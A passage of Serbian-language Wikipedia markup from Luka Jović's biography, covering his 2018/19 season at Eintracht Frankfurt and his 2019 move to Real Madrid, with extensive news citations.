beogradski klub, prilikom pregovora o Jovićevom sledećem angažmanu.<ref>{{cite web|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2016&mm=01&dd=25&nav_id=1089183|title=Zvezda: O transferu Jovića se pita Apolon|last=V|first=S.|work=[[Tanjug]]|publisher=[[B92]]|date=25. 1. 2016|accessdate=13. 12. 2019}}</ref>|name=aul}} gde je Antraht ostvario pobedu rezultatom 3 : 2.<ref>{{cite web|url=https://www.mozzartsport.com/fudbal/vesti/luka-jovic-ne-staje-samo-je-levandovski-ispred-njega-mijat-gol-i-asistencija-marselj-ispao-video/311118|title=Luka Jović ne staje, samo je Levandovski ispred njega; Mijat gol i asistencija, Marselj ispao (VIDEO)|publisher=mozzartsport.com|date=8. 11. 2018|accessdate=30. 11. 2019}}</ref> Posle toga, u 11. kolu Bundeslige postigao je dva od tri gola u pobedi protiv [[FK Šalke|Šalkea]].<ref>{{Cite web|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2018&mm=11&dd=11&nav_id=1468242|title=Jović briljirao, dva puta strelac protiv Šalkea|accessdate=11. 11. 2018|date=11. 11. 2018|last=K|first=Z.|publisher=[[B92]]}}</ref><ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/opet-je-to-uradio-i-to-dva-puta-luka-golic-prvi-strelac-bundeslige-video/311389|title=Opet je to uradio i to dva puta - Luka GOLić prvi strelac Bundeslige! (VIDEO)|date=11. 11. 2018|accessdate=30. 11. 2019|website=mozzartsport.com}}</ref> U sledećem kolu tog takmičenja bio je asistent kod drugog od tri pogotka svoje ekipe u pobedi od 3 : 1 nad [[FK Augzburg|Augzburgom]].<ref>{{Cite web|url=https://www.bundesliga.com/en/bundesliga-tv/augsburg-1-3-eintracht-frankfurt-highlights-haller-rebic-jovic-517969.jsp|title=Augsburg 1-3 Eintracht Frankfurt|date=24. 11. 2019|accessdate=19. 12. 2019|publisher=Bundesliga Nemačke u fudbalu, zvanična prezentacija|language=en|archive-date=19. 12. 2019|archive-url=https://web.archive.org/web/20191219125226/https://www.bundesliga.com/en/bundesliga-tv/augsburg-1-3-eintracht-frankfurt-highlights-haller-rebic-jovic-517969.jsp|url-status=dead}}</ref> Nekoliko dana kasnije, Jović je dva puta pogodio u 5. kolu Lige Evrope, u pobedi od 4 : 0, protiv Olimpika.<ref>{{cite web|url=https://www.mozzartsport.com/fudbal/vesti/luka-jovic-prvi-strelac-lige-evrope-karijus-izgubio-kompas-ali-lens-je-znao-put-do-pobede-monstruozne-makazice-i-sasa-markovic-srusili-lacio-video/312928|title=Luka Jović prvi strelac Lige Evrope! Karijus izgubio kompas, ali Lens je znao put do pobede! Monstruozne makazice i Saša Marković srušili Lacio (VIDEO)|last=Stanković|first=Dejan|publisher=mozzartsport.com|date=29. 11. 2018|accessdate=30. 11. 2019}}</ref> U 13. kolu Bundeslige, Jović je postigao jedini gol za svoj tim u porazu od 2 : 1 od [[FK Volfsburg|Volfsburga]], na domaćem terenu.<ref>{{Cite web|url=http://sportklub.rs/Fudbal/Bundesliga/a259786-Vukovima-ceo-plen-u-Frankfurtu-novi-gol-Luke-Jovica.html|title=Vukovima ceo plen u Frankfurtu, novi gol Luke Jovića|accessdate=2. 12. 2018|date=30. 11. 2018|last=Pavlović|first=Marko|publisher=[[Sport klub]]}}</ref> Pobedom nad Laciom u poslednjem kolu grupne faze Lige Evrope, Antraht je osvojio maksimalnih 18 bodova iz svih 6 pobeda, čime se pozicionirao na 1. mestu na tabeli.<ref>{{Cite web|url=https://www.alo.rs/sport/fudbal/preokret-ajntrahta-na-olimpiku-kakva-golcina-gacinovica-jedan-dribling-drugi-pa-bomba-u-raslje-video/201481/vest|title=OLIMPIJAKOS IZBACIO MILAN, SELTIK PREŽIVEO! Preokret Ajntrahta na "Olimpiku", kakva golčina Gaćinovića, jedan dribling, drugi, pa bomba u rašlje! (VIDEO)|date=13. 12. 2018|accessdate=19. 12. 2019|last=Ž|first=V.|work=[[B92]]|publisher=[[Alo!]]|archive-date=2023-10-09|archive-url=https://web.archive.org/web/20231009223056/https://www.alo.rs/sport/fudbal/preokret-ajntrahta-na-olimpiku-kakva-golcina-gacinovica-jedan-dribling-drugi-pa-bomba-u-raslje-video/201481/vest|url-status=dead}}</ref> Do kraja kalendarske 2018, Jović je bio strelac još i protiv [[FK Majnc 05|Majnca]], kada je postigao oba pogotka za svoj tim u remiju od 2 : 2.<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/bombas-jovic-stigao-alkasera-ajntraht-konacno-preziveo-u-majncu-video/314672|title=Bombaš Jović stigao Alkasera! Ajntraht konačno preživeo u Majncu! (VIDEO)|date=19. 12. 2018|accessdate=30. 11. 2019|website=mozzartsport.com}}</ref> Svoj prvi pogodak u 2019. godini, Jović je postigao u 18. kolu Bundeslige, [[19. januar]]a, u pobedi od 3 : 1 nad [[FK Frajburg|Frajburgom]].<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/kud-svi-tu-i-luka-nastavlja-se-teror-u-bundesligi-video/317107|title=Kud svi tu i Luka - nastavlja se teror u Bundesligi (VIDEO)|date=19. 1. 2019|accessdate=30. 11. 2019|website=mozzartsport.com}}</ref> Početkom narednog meseca, Jović je iskoristio asistenciju [[Deni da Kosta|Denija da Koste]],<ref>{{Cite web|url=https://fudbal.hotsport.rs/2019/02/02/bundesliga-jovic-akrobacijom-doneo-bod-protiv-borusije-nova-samarcina-bajernu-video/|title=BUNDESLIGA: Jović akrobacijom za bod protiv Dortmunda, nova šamarčina Bajernu! (VIDEO)|date=2. 2. 2019|accessdate=13. 12. 2019|last=Nikolić|first=Strahinja|publisher=hotsport.rs}}{{Dead link|date=August 2024 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> te je svojim pogotkom obezbedio bod protiv [[FK Borusija Dortmund|Borusije]] iz [[Dortmund]]a.<ref>{{Cite web|url=http://mondo.rs/a1163654/Sport/Fudbal/Luka-Jovic-gol-protiv-Borusije-Dortmund.html|title=Luka Jović piše istoriju: Zaustavio je lidera!|accessdate=2. 2. 2019|date=30. 11. 2018|publisher=mondo.rs}}</ref> Na prvoj utakmici [[UEFA Liga Evrope 2018/19.#Šesnaestina finala|šesnaestine finala]] Lige Evrope, Jović je upisao asistenciju [[Filip Kostić|Filipu Kostiću]] u remiju od 2 : 2, sa [[FK Šahtar|Šahtjorom]], na [[Oblasni sportski kompleks Metalist|Sportskom kompleksu Metalista]] u [[Harkov]]u.<ref>{{cite web|url=https://www.mozzartsport.com/fudbal/vesti/kostic-gol-jovic-asistencija-sahtjor-izvukao-2-2-celu-utakmicu-s-covekom-manje-video/319394|title=Kostić gol, Jović asistencija - Šahtjor izvukao 2:2, celu utakmicu s čovekom manje (VIDEO)|publisher=mozzartsport.com|date=14. 2. 2019|accessdate=30. 11. 2019}}</ref> U revanš susretu, na domaćem terenu, Jović je postigao prvi gol za svoj tim u pobedi svog tima sa 4 : 1, kojom je obezbeđen prolaz u sledeću fazu takmičenja.<ref>{{cite web|url=https://www.mozzartsport.com/fudbal/vesti/ajntraht-drhtao-pa-uzleteo-luka-i-ale-za-dugi-prolecni-san-salcburg-se-sada-i-izivljava-video/319997|title=Ajntraht drhtao, pa uzleteo - Luka i Ale za dugi prolećni san! Salcburg se sada i iživljava (VIDEO)|publisher=mozzartsport.com|date=21. 2. 2019|accessdate=30. 11. 2019}}</ref> U 23. kolu Bundeslige, Jović je direktno učestvovao kod sva tri gola Ajntrahta na utakmici protiv Hanovera, zabeleživši gol i dve asistencije.<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/luka-bilduje-cenu-gol-i-dve-asistencije-levandovski-uhvati-ga-ako-mozes-video/320246|title=Luka bilduje cenu - gol i dve asistencije! Levandovski, uhvati ga ako možeš... (VIDEO)|date=24. 2. 2019|accessdate=30. 11. 2019|website=mozzartsport.com}}</ref> Posle prve utakmice bez pogodaka, protiv [[FK Inter Milano|Intera]] iz [[Milano|Milana]], u osmini finala Lige Evrope,<ref>{{cite web|url=https://www.mozzartsport.com/fudbal/vesti/burno-u-frankfurtu-ali-bez-golova-inter-promasio-penal-pa-spasavao-zivu-glavu-video/321228|title=Burno u Frankfurtu, ali bez golova - Inter promašio penal, pa spasavao živu glavu (VIDEO)|last=Jovanović|first=Nenad|publisher=mozzartsport.com|date=7. 3. 2019|accessdate=30. 11. 2019}}</ref> Jović je u revanšu na [[Stadion Đuzepe Meaca|stadionu Đuzepe Meaca]] postigao jedini pogodak za minimalnu pobedu svog tima i plasman u četvrtfinale.<ref>{{cite web|url=https://www.mozzartsport.com/fudbal/vesti/on-je-top-klasa-jovic-pred-barsinim-direktorima-kupio-kartu-za-kataloniju-video/321853|title=ON JE TOP KLASA! Jović pred Barsinim direktorima kupio kartu za Kataloniju (VIDEO)|last=Nedeljković|first=Darjan|publisher=mozzartsport.com|date=14. 3. 2019|accessdate=30. 11. 2019}}</ref> Poslednjeg dana marta 2019, Jović je bio strelac u pobedi svoje ekipe od 3 : 0 nad [[FK Štutgart|Štutgartom]],<ref>{{Cite web|url=http://sportklub.rs/Fudbal/Bundesliga/a271960-Kostic-i-Jovic-kreirali-novu-pobedu-Ajntrahta.html|title=Kostić i Jović kreirali novu pobedu Ajntrahta|accessdate=31. 3. 2019|date=30. 11. 2018|last=Todić|first=Maja|publisher=[[Sport klub]]}}</ref> dok je nekoliko dana kasnije postigao odlučujući pogodak za pobedu od 2 : 1 nad Šalkeom na [[Feltins arena|Feltins areni]] u [[Gelzenkirhen]]u.<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/jovic-i-kostic-vode-u-ligu-sampiona-luka-u-99-minutu-za-veliki-trijumf-ajntrahta-video/323876|title=Jović i Kostić vode u Ligu šampiona - Luka u 99. minutu za veliki trijumf Ajntrahta (VIDEO)|date=6. 4. 2019|accessdate=30. 11. 2019|website=mozzartsport.com}}</ref> U četvrtfinalu Lige Evrope, Ajntraht se sastao sa Jovićevim bivšim klubom, Benfikom.<ref>{{cite web|url=https://www.mozzartsport.com/fudbal/vesti/luka-jovic-ponovo-u-lisabonu-osveta-nije-mi-to-u-glavi/324187|title=Luka Jović ponovo u Lisabonu: Osveta? Nije mi to u glavi|publisher=mozzartsport.com|date=10. 4. 2019|accessdate=30. 11. 2019}}</ref> Na prvoj utakmici, u Lisabonu, Benfika je pobedila rezultatom 4 : 2,<ref>{{cite web|url=http://www.rtv.rs/sr_ci/sport/fudbal/jovic-strelac-u-porazu-ajntrahta-arsenal-bolji-od-napolija-celsi-siguran-u-pragu_1008456.html|title=Jović strelac u porazu Ajntrahta, Arsenal bolji od Napolija, Čelsi siguran u Pragu|publisher=[[Radio-televizija Vojvodine]]|date=11. 4. 2019|accessdate=30. 11. 2019}}</ref> dok je Jović je bio strelac prvog gola za Ajntraht.<ref>{{cite web|url=https://sport.blic.rs/fudbal/evropski-fudbal/luka-jovic-gol-filip-kostic-liga-evrope/1x0xe0s|title=OPET JOVIĆ! Srbin je NEZAUSTAVLJIV, spakovao gol i svojoj bivšoj ekipi u četvrtfinalu Lige Evrope! Kostiću PONIŠTEN GOL|publisher=[[Blic (novine)|Blic]]|date=11. 4. 2019|accessdate=30. 11. 2019}}</ref> Na dan pred drugi susret, [[17. april]]a 2019. godine, Ajntraht je iskoristio opciju iz ugovora o pozajmici i otkupio Jovićev ugovor.<ref name="AjntrahtKupio">{{cite web|url=https://www.mozzartsport.com/fudbal/vesti/zvanicno-ajntraht-otkupio-luku-jovica/324850|title=ZVANIČNO: Ajntraht otkupio Luku Jovića|publisher=mozzartsport.com|date=17. 4. 2019|accessdate=17. 4. 2019}}</ref> U revanšu je Ajntraht pobedio sa 2 : 0, što je bilo dovoljno za plasman u polufinale, a Jović je na terenu bio do 76. minuta.<ref>{{cite web|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2019&mm=04&dd=18&nav_id=1532218|title=Kostić i Ajntraht precrtali i Benfiku za polufinale Lige Evrope|last=K|first=Z.|publisher=[[B92]]|date=18. 4. 2019|accessdate=30. 11. 2019}}</ref> U polufinalu tog takmičenja, Ajntraht se susreo sa ekipom [[FK Čelsi|Čelsija]]. Na prvoj utakmici, u Frankfurutu, bilo je nerešeno, 1 : 1, a Jović je bio strelac jedinog gola za svoj klub.<ref>{{cite web|url=https://www.mozzartsport.com/fudbal/vesti/luka-jovic-ga-dao-i-celsiju-majstorija-na-kiflu-kostica-video/326113|title=Luka Jović ga dao i Čelsiju! Majstorija na kiflu Kostića (VIDEO)|publisher=mozzartsport.com|date=2. 5. 2019|accessdate=30. 11. 2019}}</ref><ref>{{cite web|url=https://www.mozzartsport.com/fudbal/vesti/ajntrahtu-i-srbima-svaka-cast-ali-celsi-i-majstor-pedro-moraju-u-finale-video/326117|title=Ajntrahtu i Srbima svaka čast, ali Čelsi i majstor Pedro moraju u finale (VIDEO)|publisher=mozzartsport.com|date=2. 5. 2019|accessdate=30. 11. 2019}}</ref> Revanš na [[Stamford bridž (stadion)|Stamford bridžu]] je nakon 90. minuta završen istim rezultatom, dok je Jović ponovo bio strelac.<ref>{{cite web|url=https://www.telegraf.rs/sport/fudbal/3059497-od-njega-nema-odbrane-luka-jovic-ponovo-dao-gol-celsiju-video|title=Od njega nema odbrane: Luka Jović ponovo dao gol Čelsiju (VIDEO)|publisher=[[Telegraf.rs|Telegraf]]|date=9. 5. 2019|accessdate=30. 11. 2019}}</ref> Ipak, nakon boljeg izvođenja jedanaesteraca, Čelsi je prošao u [[Finale Lige Evrope 2019.|finale Lige Evrope]].<ref>{{cite web|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2019&mm=05&dd=09&nav_id=1540125|title=Ajntrahtu malo gol Jovića – Kepa briljirao u penalima i odveo Čelsi u finale!|last=T|first=P.|publisher=[[B92]]|date=9. 5. 2019|accessdate=30. 11. 2019}}</ref> Jović je sezonu u Ligi Evrope završio sa 10 postignutih golova na 14 odigranih mečeva, a ispred njega je bio samo [[Olivije Žiru]] iz Čelsija, koji je postigao jedan gol više.<ref>{{Cite web|url=https://sport.blic.rs/fudbal/evropski-fudbal/luka-jovic-olivije-ziru-arsenal-chelsea-liga-evrope/zf4f3qv|title=SRBIN OSTAO PRAZNIH ŠAKA Evo zašto Luka Jović nije nikako srećan zbog ŽIRUOVOG GOLA|accessdate=29. 5. 2019|date=29. 5. 2019|last=Zarić|first=Milan|publisher=[[Blic (novine)|Blic]]}}</ref> Jović je zajedno sa saigračem [[Filip Kostić|Kostićem]] uvršten u najbolji tim Lige Evrope za sezonu 2018/19.<ref name="IdealniLE">{{cite web|url=https://www.mozzartsport.com/fudbal/vesti/jovic-kostic-i-osmorica-plavaca-u-timu-sezone-lige-evrope/328547|title=Jović, Kostić i osmorica Plavaca u timu sezone Lige Evrope|publisher=mozzartsport.com|date=30. 5. 2019|accessdate=30. 11. 2019|archive-url=https://web.archive.org/web/20190531155357/http://www.mozzartsport.com/fudbal/vesti/jovic-kostic-i-osmorica-plavaca-u-timu-sezone-lige-evrope/328547|archive-date=31. 05. 2019|url-status=dead}}</ref> Nešto kasnije, uvršten je i u idealni tim Bundeslige za sezonu 2018/19. Trku za najboljeg strelca lige je završio na deobi trećeg mesta sa 17 pogodaka, a uz to podelio je i šest asistencija. Igrao je na 32 utakmice.<ref name="Jovic&KosticDBL">{{cite web|url=https://www.mozzartsport.com/fudbal/vesti/jovic-i-kostic-u-idealnom-timu-bundeslige/328059|title=Jović i Kostić u idealnom timu Bundeslige|publisher=mozzartsport.com|date=24. 5. 2019|accessdate=30. 11. 2019|archive-url=https://web.archive.org/web/20190526234433/http://www.mozzartsport.com/fudbal/vesti/jovic-i-kostic-u-idealnom-timu-bundeslige/328059|archive-date=26. 05. 2019|url-status=dead}}</ref> Tokom sezone 2018/19, Jović je odigrao ukupno 48 utakmica i postigao 27 golova u svim takmičenjima.<ref>{{cite web|url=https://informer.rs/sport/fudbal/439378/jovic-ocistio-svlacionicu-napadac-ajntrahta-spema-selidbu-madrid|title=JOVIĆ "OČISTIO" SVLAČIONICU! Napadač Ajntrahta se spema za selidbu u Madrid!|publisher=[[Informer]]|date=31. 5. 2019|accessdate=30. 11. 2019}}</ref> === Real Madrid === [[Datoteka:FC RB Salzburg versus Real Madrid (Testspiel, 7. August 2019) 17.jpg|mini|140p|levo|Jović u trećoj garnituri opreme Real Madrida, leta 2019.]] Posle višednevnih medijskih objava, [[FK Real Madrid|Real]] iz [[Madrid]]a je, [[4. jun]]a 2019. godine, potvrdio da je dogovorena šestogodišnja saradnja sa Lukom Jovićem.<ref>{{Cite web|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2019&mm=06&dd=04&nav_id=1550635|title=Luka Jović potpisao za Real Madrid!|accessdate=4. 6. 2019|date=4. 6. 2019|last=V|first=S.|publisher=[[B92]]}}</ref><ref>{{Cite web|url=https://www.realmadrid.com/noticias/2019/06/comunicado-oficial-jovi%C4%87|title=Comunicado Oficial: Jović|trans-title=Zvanična potvrda: Jović|date=4. 6. 2019|website=FK Real Madrid, zvanična prezentacija|language=es|access-date=4. 6. 2019}}</ref><ref>{{Cite web|url=http://sportklub.rs/Fudbal/Primera/a288686-Kako-je-Real-predstavio-Jovica.html|title=Kako je Real 'predstavio' Jovića?|date=4. 6. 2019|accessdate=13. 12. 2019|last=Smilić|first=Branimir|publisher=[[Sport klub]]|archive-date=19. 12. 2019|archive-url=https://web.archive.org/web/20191219104545/http://sportklub.rs/Fudbal/Primera/a288686-Kako-je-Real-predstavio-Jovica.html|url-status=dead}}</ref> Nekoliko dana kasnije, klub je poslao avion po Jovića, koji se nalazio na pripremama sa mladom reprezentacijom Srbije u [[Portorož]]u, kako bi zvanično predstavio svog novog fudbalera.<ref>{{Cite web|url=https://mondo.rs/Sport/Fudbal/a1192818/Real-Madrid-salje-avion-po-Luku-Jovica-tokom-priprema-za-Evropsko-prvenstvo-u-Italiji.html|title=Real šalje avion po Luku na pripreme "orlića"|date=11. 6. 2019|accessdate=19. 12. 2019|publisher=mondo.rs}}</ref> Jović je, posle lekarskih pregleda i obavljenih formalnosti oko potpisivanja ugovora, zvanično predstavljen u dresu Reala, a tom prilikom nije nosio broj na leđima.<ref>{{Cite web|url=https://beta.rs/sport/sport-fudbal/112428-jovic-potpisao-za-real-madrid-i-predstavljen-na-stadionu|title=Jović potpisao za Real Madrid i predstavljen na stadionu (VIDEO)|date=12. 6. 2019|accessdate=19. 12. 2019|publisher=[[Novinska agencija Beta]]|archive-date=19. 12. 2019|archive-url=https://web.archive.org/web/20191219151356/https://beta.rs/sport/sport-fudbal/112428-jovic-potpisao-za-real-madrid-i-predstavljen-na-stadionu|url-status=}}</ref><ref>{{Cite web|url=http://www.politika.rs/scc/clanak/431677/Sport/Jovic-predstavljen-u-Madridu-Najsccecniji-sam-covek-na-svetu|title=Jović predstavljen u Madridu: Najsrećniji sam čovek na svetu|date=12. 6. 2019|accessdate=19. 12. 2019|publisher=[[Politika (novine)|Politika]]}}</ref><ref>{{Cite web|url=http://rs.n1info.com/Sport-Klub/Fudbal/a491342/Jovic-predstavljen-u-Madridu-i-docekan-superlativima.html|title=Jović predstavljen u Madridu i dočekan superlativima|date=12. 6. 2019|accessdate=19. 12. 2019|publisher=[[N1]]|archive-date=19. 12. 2019|archive-url=https://web.archive.org/web/20191219151351/http://rs.n1info.com/Sport-Klub/Fudbal/a491342/Jovic-predstavljen-u-Madridu-i-docekan-superlativima.html|url-status=dead}}</ref> Iako iznos isplaćenog obeštećenja zvanično nije objavljen, španski sportski list ''[[Marka (novine)|Marka]]'' preneo je informaciju da je za igrača izdvojena cifra od 65 miliona evra. Jović je time postao najskuplji srpski fudbaler u istoriji.<ref>{{Cite web|url=https://mondo.rs/Sport/Fudbal/a1191197/Luka-Jovic-najskuplji-srpski-fudbaler-svih-vremena-TOP10-lista-najskuplje-placenih.html|title=Luka je najskuplji srpski fudbaler u istoriji!|date=4. 6. 2019|accessdate=30. 11. 2019|website=mondo.rs}}</ref> Za klub je debitovao na [[Međunarodni kup šampiona|Međunarodnom kupu šampiona]], protiv [[minhen]]skog [[FK Bajern Minhen|Bajerna]].<ref>{{Cite web|url=https://www.24online.info/jovic-debitovao-za-real-a-onda-su-usledile-ostre-kritike/|title=Jović debitovao za Real a onda su usledile oštre kritike|date=21. 7. 2019|accessdate=19. 12. 2019|work=meridian-sport.com|publisher=24online.info|archive-date=19. 12. 2019|archive-url=https://web.archive.org/web/20191219151352/https://www.24online.info/jovic-debitovao-za-real-a-onda-su-usledile-ostre-kritike/|url-status=}}</ref> Pred početak takmičarske sezone i zvanično je zadužio broj 18, koji je preuzeo nakon odlaska [[Markos Ljorente|Markosa Ljorentea]] u redove gradskog rivala, [[FK Atletiko Madrid|Atletika]].<ref>{{Cite web|url=https://www.meridian-sport.com/fudbal-real-madrid-luka-jovic-dres-broj-18-eden-azar-7/|title=MAKAZICE, PA IZBOR Jović uzeo broj u Realu, Azaru velikani na leđima|last=Todorović|first=Nebojša|publisher=meridian-sport.com|date=9. 8. 2019|accessdate=19. 12. 2019|archive-url=https://web.archive.org/web/20191219151355/https://www.meridian-sport.com/fudbal-real-madrid-luka-jovic-dres-broj-18-eden-azar-7/|archive-date=19. 12. 2019|url-status=dead}}</ref> U španskoj [[Prva liga Španije u fudbalu|Primeri]], Jović je debitovao na otvaranju takmičarske 2019/20, ušavši u igru umesto [[Karim Benzema|Karima Benzeme]], na gostovanju [[FK Selta Vigo|Selti]] u [[Vigo|Vigu]], gde je njegov tim ostvario pobedu rezultatom 3 : 1.<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/ovo-vec-lici-na-real-bomba-krosa-akcija-iz-udzbenika-debi-jovica-i-lagana-trojka-u-vigu-video/335228|title=Ovo već liči na Real: Bomba Krosa, akcija iz udžbenika, debi Jovića i lagana trojka u Vigu (VIDEO)|publisher=mozzartsport.com|date=17. 8. 2019|accessdate=6. 11. 2019}}</ref> U narednom kolu je debitovao i na [[Stadion Santijago Bernabeu|Stadionu Santijago Bernabeu]], kada je ušao u igru u 68. minutu utakmice protiv [[FK Real Valjadolid|Valjadolida]], koja je završena nerešenim rezultatom, 1 : 1.<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/lekcije-nisu-naucene-zidanov-real-se-zagrcnuo-u-svojoj-kuci-video/335794|title=Lekcije nisu naučene, Zidanov Real se zagrcnuo u svojoj kući (VIDEO)|publisher=mozzartsport.com|date=24. 8. 2019|accessdate=6. 11. 2019}}</ref> U trećem kolu, prvi put je zaigrao kao starter. Real je na gostovanju [[FK Viljareal|Viljarealu]] odigrao nerešeno 2 : 2, a Jović je utakmicu počeo u napadu zajedno sa Benzemom i na terenu se zadržao do 68. minuta kada ga je zamenio [[Luka Modrić]].<ref>{{Cite web|url=https://www.telegraf.rs/sport/fudbal/3097875-majstorija-luke-jovica-peta-srbina-prethodila-golu-reala-spanija-mu-se-divi-video|title=Majstorija Luke Jovića: Peta Srbina prethodila golu Reala, Bejl spasio ''kraljevski klub'' (VIDEO)|publisher=[[Telegraf.rs|Telegraf]]|date=1. 9. 2019|accessdate=6. 11. 2019}}</ref> Jović je na toj utakmici učestvovao u akciji kod prvog gola Reala koji je postigao [[Garet Bejl]].<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/genijalna-peta-luke-jovica-izmislila-gol-reala-video/336468|title=Genijalna peta Luke Jovića izmislila gol Reala (VIDEO)|publisher=mozzartsport.com|date=1. 9. 2019|accessdate=6. 11. 2019}}</ref> Nastupio je i na otvaranju [[Grupna faza Lige šampiona 2019/20.#Grupa A|grupne faze]] [[UEFA Liga šampiona|Lige šampiona]], na gostovanju [[FK Pariz Sen Žermen|Pariz Sen Žermenu]], kada je zamenio [[Hames Rodrigez|Hamesa Rodrigeza]], pri rezultatu od 2 : 0 za domaći sastav.<ref>{{Cite web|url=https://mondo.ba/Sport/Fudbal/a901302/PSZ-Real-Madrid-3-0-Liga-sampiona.html|title=Kako je Real potučen u Parizu|publisher=mondo.ba|date=19. 9. 2019|accessdate=19. 12. 2019}}</ref> Prvi put je na terenu proveo svih 90 minuta na utakmici šestog kola španskog šampionata, u kojoj je Real u Madridu savladao [[FK Osasuna|Osasunu]] sa 2 : 0.<ref>{{Cite web|url=https://mondo.rs/Sport/Fudbal/a1233143/Real-Madrid-Osausna-2-0-Luka-Jovic.html|title=Jović postigao gol, ali VAR "kaže" da još čeka (VIDEO)|publisher=mondo.rs|date=25. 9. 2019|accessdate=6. 11. 2019}}</ref> Prema analizi ''Marke'', sredinom oktobra 2019, Jović je u tom momentu bez pogotka odigrao 218 minuta, što ga je na listi od 16 napadača koji su uzeti u razmatranje, svrstalo na 13. mesto.<ref name="Marka-analiza">{{Cite news|url=https://www.novosti.rs/%D0%B2%D0%B5%D1%81%D1%82%D0%B8/%D1%81%D0%BF%D0%BE%D1%80%D1%82.434.html:823862-JOVIC-VEC-CEKA-63-DANA-Marka-analizirala-koliko-je-napadacima-Reala-trebalo-za-prvenac|title=JOVIĆ VEĆ ČEKA 63 DANA: "Marka" analizirala koliko je napadačima Reala trebalo za prvenac|work=[[Marka (novine)|Marka]]|last=A|first=B.|publisher=[[Večernje novosti]]|date=12. 10. 2019|accessdate=19. 12. 2019}}</ref> Pretposlednjeg dana istog meseca, Jović je postigao svoj prvi gol u dresu Reala, na utakmici 11. kola Primere, u kojoj je Real na domaćem terenu Madridu savladao [[FK Leganes|Leganes]] sa 5 : 0. Jović je u igru ušao u 70. minutu umesto Benzeme, a u 91. minutu postavio je konačan rezultat.<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/konacno-luka-jovic-podigao-bernabeu-na-noge-video/341191|title=KONAČNO! Luka Jović podigao Bernabeu na noge (VIDEO)|publisher=mozzartsport.com|date=30. 10. 2019|accessdate=6. 11. 2019}}</ref> Na susretu 13. kola, protiv [[FK Ejbar|Ejbara]], Jović je prvi put izostavljen iz protokola, zbog lakše povrede mišića.<ref>{{Cite web|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2019&mm=11&dd=08&nav_id=1614728|last=T|first=P.|title=Otkriveno zašto je Jović ispao iz tima|date=8. 11. 2019|accessdate=2. 12. 2019|website=[[B92]]}}</ref> Pored te utakmice, Jović ni na naredna tri ligaška susreta nije ulazio u igru.<ref>{{Cite web|url=http://www.rts.rs/page/sport/ci/story/31/fudbal/3756138/real-preziveo-gostovanje-alavesu-jovic-cetvrti-uzastopni-mec-bez-minuta.html|title=Real preživeo gostovanje Alavesu, Jović četvrti uzastopni meč bez minuta|publisher=[[Radio-televizija Srbije]]|date=30. 11. 2019|accessdate=19. 12. 2019}}</ref> Trener [[Zinedin Zidan]] je posle toga potvrdio da nadalje računa na Jovića,<ref>{{Cite web|url=https://www.tribalfootball.com/articles/luka-jovic-reveals-crunch-zizou-talks-over-real-madrid-future-4306799#popup-sso|title=Luka Jovic reveals crunch Zizou talks over Real Madrid future|trans-title=Luka Jović otkrio delić razgovora sa Zizuom o budućnosti u Realu|date=4. 12. 2019|accessdate=12. 12. 2019|last=Volcano|first=Carlos|publisher=tribalfootball.com|language=en}}</ref><ref>{{Cite web|url=https://sport.blic.rs/fudbal/evropski-fudbal/eden-azar-povreda-luka-jovic-real-madrid-barselona-el-klasiko/dtpftgm|title=SVE SE POKLOPILO Povreda superzvezde i razgovor sa Zidanom - šansa za Luku Jovića protiv Barselone!|date=5. 12. 2019|accessdate=30. 11. 2019|website=[[Blic (novine)|Blic]]}}</ref><ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/luka-vreme-je/344741|title=Luka, vreme je|date=10. 12. 2019|accessdate=12. 12. 2019|work=as.com|publisher=mozzartsport.com}}</ref> te je srpski napadač najavljen kao starter na poslednjem susretu grupne faze Lige šampiona, protiv [[FK Klub Briž|Klub Briža]].<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/zidan-veruje-u-jovica-za-dobar-rad-na-treninzima-nagradice-ga-mestom-startera-u-sledecem-mecu/344641|title=Zidan veruje u Jovića, za dobar rad na treninzima nagradiće ga mestom startera u sledećem meču|date=9. 12. 2019|accessdate=12. 12. 2019|publisher=mozzartsport.com}}</ref> Na toj utakmici, odigranoj na [[Stadion Jan Brejdel|Stadionu Jan Brejdel]] u [[Briž]]u, Jović je igrao do 77. minuta, bez konkretnog učinka.<ref>{{Cite web|url=http://www.zurnal.rs/fudbal/liga-sampiona/89943/real-slavio-u-briselu-luka-jovic-starter-ali-bez-gola|title=Real slavio u Briselu, Luka Jović starter, ali bez gola|date=11. 12. 2019|accessdate=12. 12. 2019|publisher=[[Sportski žurnal]]}}</ref> Nekoliko dana kasnije, ostao je na klupi za rezervne fudbalere u [[El Klasiko|El Klasiku]], koji je završen bez pogodaka.<ref>{{Cite web|url=https://www.espreso.rs/sport/fudbal/483409/uzivo-vise-od-fudbala-spanija-na-nogama-vreme-je-za-el-klasiko|title=EL KLASIKO BEZ GOLOVA: Videli smo sve osim onoga zbog čega se igra fudbal! Luka Jović presedeo meč na klupi!|date=18. 12. 2019|accessdate=12. 12. 2019|publisher=espreso.rs}}</ref> Nakon povrede Karima Benzeme pred susret polufinala [[Superkup Španije u fudbalu|Superkupa Španije]], Jović se našao u startnoj postavi protiv ekipe [[FK Valensija|Valensije]]. Na toj utakmici upisao je asistenciju za Luku Modrića kod trećeg pogotka svoje ekipe, dok ga je u 83. minutu na terenu zamenio [[Marijano Dijaz Mehija|Marijano Dijaz]].<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/benzema-povreden-sad-ili-nikad-za-jovica/347021|title=Benzema povređen, sad ili nikad za Jovića|date=7. 1. 2020|accessdate=7. 1. 2019|publisher=mozzartsport.com}}</ref><ref>{{Cite 